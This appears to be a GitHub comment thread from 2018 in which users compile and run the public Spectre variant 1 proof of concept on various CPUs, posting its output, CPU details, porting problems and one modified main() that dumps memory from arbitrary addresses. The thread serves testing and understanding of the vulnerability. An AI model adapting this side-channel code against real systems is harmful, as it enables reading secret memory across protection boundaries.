@JonDaniel Its been made incredibly unclear up to now, but the kernel patches are reliant on microcode and potential BIOS/firmware updates that have yet to be released for increased protection against Spectre. The kernel patch itself should be protecting against Meltdown (assuming you have an affected CPU).

RH have indirectly clarified this with : https://access.redhat.com/articles/3311301#architectural-defaults-9

With no microcode update available (our situation) we can update and reboot for Meltdown protection, and alleged variant 1 protection but no variant 2 protection.

I thought though that this PoC was for variant 1, but my brain is getting more and more addled as these days go on...

linxon commented Jan 5, 2018

• cirno-chan /tmp $ uname -a
Linux cirno-chan 4.9.49-gentoo-r1 #2 SMP Sat Dec 30 23:16:31 MSK 2017 x86_64 AMD FX(tm)-6300 Six-Core Processor AuthenticAMD GNU/Linux+
• cirno-chan /tmp $
• cirno-chan /tmp $ gcc -std=c99 -O0 spectre.c -o spectre 2> /dev/null
• cirno-chan /tmp $
• cirno-chan /tmp $ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x54=’T’ score=1 
Reading at malicious_x = 0xffffffffffdfee19... Success: 0x68=’h’ score=1 
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0x65=’e’ score=1 
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x20=’ ’ score=1 
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x4D=’M’ score=1 
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x61=’a’ score=1 
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x69=’i’ score=1 
Reading at malicious_x = 0xffffffffffdfee20... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdfee21... Success: 0x20=’ ’ score=1 
Reading at malicious_x = 0xffffffffffdfee22... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfee23... Success: 0x6F=’o’ score=1 
Reading at malicious_x = 0xffffffffffdfee24... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfee25... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdfee26... Success: 0x73=’s’ score=1 
Reading at malicious_x = 0xffffffffffdfee27... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdfee28... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfee29... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfee2a... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfee2b... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfee2c... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfee2d... Success: 0x71=’q’ score=1 
Reading at malicious_x = 0xffffffffffdfee2e... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfee2f... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfee30... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfee31... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfee32... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfee33... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfee34... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfee35... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfee36... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfee37... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfee38... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfee39... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfee3a... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfee3b... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdfee3c... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfee3d... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfee3e... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfee3f... Success: 0x2E=’.’ score=2
• cirno-chan /tmp $
• cirno-chan /tmp $
• cirno-chan /tmp $ LANG="en_US" lscpu
Architecture:        x86_64
CPU op-mode(s):      32-bit, 64-bit
Byte Order:          Little Endian
CPU(s):              6
On-line CPU(s) list: 0-5
Thread(s) per core:  2
Core(s) per socket:  3
Socket(s):           1
NUMA node(s):        1
Vendor ID:           AuthenticAMD
CPU family:          21
Model:               2
Model name:          AMD FX(tm)-6300 Six-Core Processor
Stepping:            0
CPU MHz:             3500.000
CPU max MHz:         3500.0000
CPU min MHz:         1400.0000
BogoMIPS:            7046.96
Virtualization:      AMD-V
L1d cache:           16K
L1i cache:           64K
L2 cache:            2048K
L3 cache:            8192K
NUMA node0 CPU(s):   0-5
Flags:               fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl nonstop_tsc extd_apicid aperfmperf eagerfpu pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 popcnt aes xsave avx f16c lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm topoext perfctr_core perfctr_nb cpb hw_pstate vmmcall bmi1 arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold

array42 commented Jan 5, 2018

-O2 and -O3 did not work for me. But -O1 and -O0 work with a Xeon X3450.

But this poc does not work on another Intel Q9400 machine: Illegal instruction when compiled with gcc 4.8 and -march=native or -march=core2 or any tried architecture. Someone already mentioned, it does not work for his Q9300.

gcc (GCC) 7.2.1 20170915 (Red Hat 7.2.1-2)
Intel(R) Pentium(R) CPU G3260 @ 3.30GHz

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffac8... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffae4... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=2

And

Intel(R) Pentium(R) CPU G3220 @ 3.00GHz

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffac0... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdffac1... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffac2... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffac3... Success: 0x20=’ ’ score=23 (second best: 0x05 score=9)
Reading at malicious_x = 0xffffffffffdffac4... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdffac5... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffac6... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffac7... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffac8... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdffac9... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffaca... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdffacb... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdffacc... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffacd... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfface... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffacf... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffad0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffad1... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffad2... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffad3... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffad4... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdffad5... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdffad6... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdffad7... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffad8... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffad9... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdffada... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffadb... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffadc... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffadd... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffade... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdffadf... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffae0... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffae1... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffae2... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdffae3... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffae4... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffae5... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffae6... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffae7... Success: 0x2E=’.’ score=2

abhi-jha commented Jan 5, 2018

I am not getting the expected string. Any solutions?

./spectre 
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb80... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb81... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb82... Success: 0x00=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb83... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb84... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb85... Success: 0x05=’�’ score=1 
Reading at malicious_x = 0xffffffffffdffb86... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb87... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb88... Success: 0x05=’�’ score=1 
Reading at malicious_x = 0xffffffffffdffb89... Success: 0x03=’�’ score=1 
Reading at malicious_x = 0xffffffffffdffb8a... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb8b... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb8c... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb8d... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb8e... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb8f... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb90... Success: 0x02=’�’ score=1 
Reading at malicious_x = 0xffffffffffdffb91... Unclear: 0xB2=’�’ score=1 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffb92... Success: 0x05=’�’ score=1 
Reading at malicious_x = 0xffffffffffdffb93... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb94... Success: 0x03=’�’ score=1 
Reading at malicious_x = 0xffffffffffdffb95... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb96... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb97... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb98... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb99... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb9a... Success: 0x05=’�’ score=1 
Reading at malicious_x = 0xffffffffffdffb9b... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb9c... Success: 0x00=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb9d... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb9e... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffb9f... Success: 0x00=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffba0... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffba1... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffba2... Success: 0x00=’�’ score=3 
Reading at malicious_x = 0xffffffffffdffba3... Success: 0x05=’�’ score=2 
Reading at malicious_x = 0xffffffffffdffba4... Success: 0x00=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffba5... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffba6... Success: 0xFF=’�’ score=0 
Reading at malicious_x = 0xffffffffffdffba7... Success: 0xFF=’�’ score=0

Mr0maks commented Jan 5, 2018

builder@servermaximteam:~$ lscpu
Архитектура:x86_64
CPU op-mode(s): 32-bit, 64-bit
Порядок байтов:Little Endian
CPU(s): 6
On-line CPU(s) list: 0-5
Потоков на ядро:2
Ядер на сокет:3
Сокет(ы): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
Семейство CPU:6
Модель: 94
Model name: Intel Core Processor (Skylake)
Stepping: 3
CPU МГц: 2099.998
BogoMIPS: 4199.99
Виртуализация:VT-x
Hypervisor vendor: KVM
Тип виртуализации:full
L1d cache: 32K
L1i cache: 32K
L2 cache: 4096K
NUMA node0 CPU(s): 0-5
Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ss ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl cpuid pni pclmulqdq vmx ssse3 fma cx16 pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 hle avx2 smep bmi2 erms invpcid rtm rdseed adx smap xsaveopt arat

builder@servermaximteam:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebf4... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfebf5... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfebf6... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebf7... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebf8... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfebf9... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebfa... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfebfb... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebfc... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfebfd... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebfe... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfebff... Success: 0x6F=’o’ score=7 (second best: 0xBB score=1)
Reading at malicious_x = 0xffffffffffdfec00... Success: 0x72=’r’ score=7 (second best: 0xE5 score=1)
Reading at malicious_x = 0xffffffffffdfec01... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfec02... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfec03... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfec04... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfec05... Success: 0x72=’r’ score=7 (second best: 0x1D score=1)
Reading at malicious_x = 0xffffffffffdfec06... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfec07... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfec08... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfec09... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfec0a... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfec0b... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfec0c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfec0d... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfec0e... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfec0f... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfec10... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfec11... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfec12... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfec13... Success: 0x73=’s’ score=7 (second best: 0x15 score=1)
Reading at malicious_x = 0xffffffffffdfec14... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfec15... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfec16... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfec17... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfec18... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfec19... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfec1a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfec1b... Success: 0x2E=’.’ score=2

SchmidtBoris commented Jan 5, 2018

I tryed to compile for ARM but #include <intrin.h> /* for rdtscp and clflush */ is not available for ARM

spectre.c:(.text+0x140): undefined reference to `_mm_clflush'
spectre.c:(.text+0x234): undefined reference to `__rdtscp'

Anyone ideas how to replace _mm_clflush on ARM architecture ?
_mm_clflush uses SSE2 . Hope we do not need the ARM NEON extension.

For __rdtscp' may the 2 thread aproch from LionsAd above will work

C:\Users\surva\Desktop>clang spectre.c
C:\Users\surva\Desktop>a
Reading 40 bytes:
Reading at malicious_x = FFFFFFFFFFFF62C0... Success: 0x54='T' score=2
Reading at malicious_x = FFFFFFFFFFFF62C1... Success: 0x68='h' score=2
Reading at malicious_x = FFFFFFFFFFFF62C2... Success: 0x65='e' score=2
Reading at malicious_x = FFFFFFFFFFFF62C3... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFFFFFFFFF62C4... Success: 0x4D='M' score=2
Reading at malicious_x = FFFFFFFFFFFF62C5... Success: 0x61='a' score=2
Reading at malicious_x = FFFFFFFFFFFF62C6... Success: 0x67='g' score=2
Reading at malicious_x = FFFFFFFFFFFF62C7... Success: 0x69='i' score=2
Reading at malicious_x = FFFFFFFFFFFF62C8... Success: 0x63='c' score=2
Reading at malicious_x = FFFFFFFFFFFF62C9... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFFFFFFFFF62CA... Success: 0x57='W' score=2
Reading at malicious_x = FFFFFFFFFFFF62CB... Success: 0x6F='o' score=2
Reading at malicious_x = FFFFFFFFFFFF62CC... Success: 0x72='r' score=2
Reading at malicious_x = FFFFFFFFFFFF62CD... Success: 0x64='d' score=2
Reading at malicious_x = FFFFFFFFFFFF62CE... Success: 0x73='s' score=2
Reading at malicious_x = FFFFFFFFFFFF62CF... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFFFFFFFFF62D0... Success: 0x61='a' score=2
Reading at malicious_x = FFFFFFFFFFFF62D1... Success: 0x72='r' score=2
Reading at malicious_x = FFFFFFFFFFFF62D2... Success: 0x65='e' score=2
Reading at malicious_x = FFFFFFFFFFFF62D3... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFFFFFFFFF62D4... Success: 0x53='S' score=2
Reading at malicious_x = FFFFFFFFFFFF62D5... Success: 0x71='q' score=2
Reading at malicious_x = FFFFFFFFFFFF62D6... Success: 0x75='u' score=2
Reading at malicious_x = FFFFFFFFFFFF62D7... Success: 0x65='e' score=2
Reading at malicious_x = FFFFFFFFFFFF62D8... Success: 0x61='a' score=2
Reading at malicious_x = FFFFFFFFFFFF62D9... Success: 0x6D='m' score=2
Reading at malicious_x = FFFFFFFFFFFF62DA... Success: 0x69='i' score=2
Reading at malicious_x = FFFFFFFFFFFF62DB... Success: 0x73='s' score=2
Reading at malicious_x = FFFFFFFFFFFF62DC... Success: 0x68='h' score=2
Reading at malicious_x = FFFFFFFFFFFF62DD... Success: 0x20=' ' score=2
Reading at malicious_x = FFFFFFFFFFFF62DE... Success: 0x4F='O' score=2
Reading at malicious_x = FFFFFFFFFFFF62DF... Success: 0x73='s' score=2
Reading at malicious_x = FFFFFFFFFFFF62E0... Success: 0x73='s' score=2
Reading at malicious_x = FFFFFFFFFFFF62E1... Success: 0x69='i' score=2
Reading at malicious_x = FFFFFFFFFFFF62E2... Success: 0x66='f' score=2
Reading at malicious_x = FFFFFFFFFFFF62E3... Success: 0x72='r' score=2
Reading at malicious_x = FFFFFFFFFFFF62E4... Success: 0x61='a' score=2
Reading at malicious_x = FFFFFFFFFFFF62E5... Success: 0x67='g' score=2
Reading at malicious_x = FFFFFFFFFFFF62E6... Success: 0x65='e' score=2
Reading at malicious_x = FFFFFFFFFFFF62E7... Success: 0x2E='.' score=2
C:\Users\surva\Desktop>

Intel Pentium N3530. Windows 10 16299.192

hkmaly commented Jan 5, 2018

I got undefined reference to `_mm_clflush' when compiled without arguments and Illegal instruction with -march=native ... does it mean I'm not vulnerable or that I have compiler configured incorrectly?

processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 15
model           : 31
model name      : AMD Athlon(tm) 64 Processor 3000+
stepping        : 0
cpu MHz         : 1800.000
cache size      : 512 KB
fdiv_bug        : no
hlt_bug         : no
f00f_bug        : no
coma_bug        : no
fpu             : yes
fpu_exception   : yes
cpuid level     : 1
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow
bogomips        : 3601.06
clflush size    : 64
cache_alignment : 64
address sizes   : 40 bits physical, 48 bits virtual
power management: ts fid vid ttp

Fedora 27. Added space after CACHE_HIT_THRESHOLD.

$ uname -a
Linux localhost.localdomain 4.14.11-300.fc27.x86_64 #1 SMP Wed Jan 3 13:52:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
$ head -n7 /proc/cpuinfo
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 42
model name	: Intel(R) Core(TM) i3-2370M CPU @ 2.40GHz
stepping	: 7
microcode	: 0x29

Everythg works.

I also tried to launch it on the oldest CPU I have that is from 2004.

$ head -n8 /proc/cpuinfo
processor	: 0
vendor_id	: AuthenticAMD
cpu family	: 6
model		: 8
model name	: AMD Sempron(tm)
stepping	: 1
cpu MHz		: 900.000
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 mmx fxsr sse syscall mp mmxext 3dnowext 3dnow 3dnowprefetch vmmcall

Unfortunately, it appears to lack clflush instruction and gcc cannot link _mm_clflush.

prozacgod commented Jan 5, 2018

For shits and grins, I modified main to produce a hex dump starting 100 bytes before the Magic, and reads 1000 bytes of data. I played with other addresses but I'm not sure about ... what it's reading, as it's probably just reading from the current process memory space or something? (out of my depth on that bit)

Also, not that I really expected anything different, it compiles and run under "bash for windows 10" just fine.

Oh I reduced the hysteresis on the score, if it's just a higher score than the second ... I call it "good enough", I still see failures occasionally. if it's less than #2 it just prints a failure "--"

int main(int argc, const char* * argv) {
    //size_t malicious_x = 0xffffffffffdffb10;
    //size_t malicious_x = 0xFFFFFFFFB8000000;
    size_t malicious_x = (size_t)(secret - (char*)array1 - 100);
    //printf("malicious_x: %p", malicious_x. "\n");
    int i, score[2], len = 1000;
    uint8_t value[2];

    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc == 3) {
        sscanf(argv[1], "%p", (void * * )( & malicious_x));
        malicious_x -= (size_t) array1; /* Convert input value into a pointer */
        sscanf(argv[2], "%d", & len);
    }

    printf("Reading %d bytes:\n", len);
    while (--len >= 0) {
        printf("%016p ", (void * ) malicious_x);
        int d[16];
        for (int r=0; r<16; r++) {
            --len;
            readMemoryByte(malicious_x++, value, score);

            char success = score[0] > score[1];
            if (success) {
                printf("%02X ", value[0]);
                d[r] = value[0];
            } else {
                printf("-- ");
                d[r] = -1;
            }
        }

        for (int r=0; r<16; r++) {
            if (d[r]>32) {
                printf("%c", (char)d[r]);
            }
        }

        printf("\n");
    }
    return (0);
}

MGNute commented Jan 5, 2018

Visual Studio with and without /O2
Intel Core i7-4700MQ CPU @ 2.40 Ghz
Windows 10 Home

C:\Users\miken\GradSchoolStuff\Research\Phylogenetics\code\spectre>cl /O2 /Fespectre_o2.exe spectre.c
Microsoft (R) C/C++ Optimizing Compiler Version 19.00.24215.1 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

spectre.c
spectre.c(136): warning C4047: ':': 'int' differs in levels of indirection from 'char [2]'
spectre.c(135): warning C4477: 'printf' : format string '%c' requires an argument of type 'int', but variadic argument 2 has type 'char *'
Microsoft (R) Incremental Linker Version 14.00.24215.1
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:spectre_o2.exe
spectre.obj

C:\Users\me\GradSchoolStuff\Research\Phylogenetics\code\spectre>spectre_o2.exe
Reading 40 bytes:
Reading at malicious_x = FFFF9148... Success: 0x54=ÆTÆ score=2
Reading at malicious_x = FFFF9149... Success: 0x68=ÆhÆ score=2
Reading at malicious_x = FFFF914A... Success: 0x65=ÆeÆ score=2
Reading at malicious_x = FFFF914B... Success: 0x20=Æ Æ score=2
Reading at malicious_x = FFFF914C... Success: 0x4D=ÆMÆ score=2
Reading at malicious_x = FFFF914D... Success: 0x61=ÆaÆ score=2
Reading at malicious_x = FFFF914E... Success: 0x67=ÆgÆ score=2
Reading at malicious_x = FFFF914F... Success: 0x69=ÆiÆ score=2
Reading at malicious_x = FFFF9150... Success: 0x63=ÆcÆ score=2
Reading at malicious_x = FFFF9151... Success: 0x20=Æ Æ score=2
Reading at malicious_x = FFFF9152... Success: 0x57=ÆWÆ score=2
Reading at malicious_x = FFFF9153... Success: 0x6F=ÆoÆ score=2
Reading at malicious_x = FFFF9154... Success: 0x72=ÆrÆ score=2
Reading at malicious_x = FFFF9155... Success: 0x64=ÆdÆ score=2
Reading at malicious_x = FFFF9156... Success: 0x73=ÆsÆ score=2
Reading at malicious_x = FFFF9157... Success: 0x20=Æ Æ score=2
Reading at malicious_x = FFFF9158... Success: 0x61=ÆaÆ score=2
Reading at malicious_x = FFFF9159... Success: 0x72=ÆrÆ score=2
Reading at malicious_x = FFFF915A... Success: 0x65=ÆeÆ score=2
Reading at malicious_x = FFFF915B... Success: 0x20=Æ Æ score=2
Reading at malicious_x = FFFF915C... Success: 0x53=ÆSÆ score=2
Reading at malicious_x = FFFF915D... Success: 0x71=ÆqÆ score=2
